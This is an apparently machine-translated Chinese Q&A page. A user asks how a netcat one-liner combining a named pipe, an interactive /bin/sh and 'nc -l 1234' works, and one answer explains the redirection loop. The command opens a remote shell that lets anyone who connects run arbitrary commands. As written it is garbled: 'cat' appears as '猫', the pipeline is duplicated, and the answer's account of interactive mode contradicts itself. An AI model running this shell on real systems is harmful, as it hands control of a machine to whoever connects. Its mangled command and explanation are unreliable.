这个命令是如何工作的? mkfifo /tmp/f;猫 /tmp/f | /bin/sh -i 2>&1 | | /bin/sh -i 2>&1 | NC -l 1234 > /tmp/f

这个命令是如何工作的? mkfifo /tmp/f;猫 /tmp/f | /bin/sh -i 2>&1 | | /bin/sh -i 2>&1 | NC -l 1234 > /tmp/f

今天我在阅读nc手册页时偶然发现了这个命令。我知道:

  • mkfifo /tmp/f正在创建命名管道/tmp/f

  • cat /tmp/f正在打印写入该命名管道的任何内容,并且 的输出cat /tmp/f被通过管道传送到/bin/sh

  • /bin/sh正在交互运行,并且 stderr 被重定向到 stdout。
  • `然后输出通过管道传输到正在侦听端口 1234 的 nc
  • 输出最终再次重定向到命名管道。

运行时,连接到该端口(即 1234)上的远程服务器会打开 shell 提示符,客户端可以执行任意命令。但它是如何运作的呢?

答案1

此类命令利用 IO 重定向和 sh 交互模式,该模式在连接到 TTY 时默认处于打开状态。

请注意,cat 在 FIFO 上保持打开状态。这是你的第一个线索。当 sh 运行时,它所做的一切就是将其 stdout 和 strerr 定向到 TTY。相反,sh 不附加到 TTY。通常 sh 在连接到 TTY 时会自动进入交互模式,但因为它没有添加 -i 选项。这意味着它将继续接受新命令的输入。这些命令的输出被定向到 nc 的标准输入,并且 nc 的输出(即通过网络发送的命令)被重定向到 FIFO。

FIFO 本质上被用作命名管道来完成重定向环。

您可以更简单地将其视为 sh 和 nc 在循环中相互重定向。该命令的其余部分只是无用的内容。

相关内容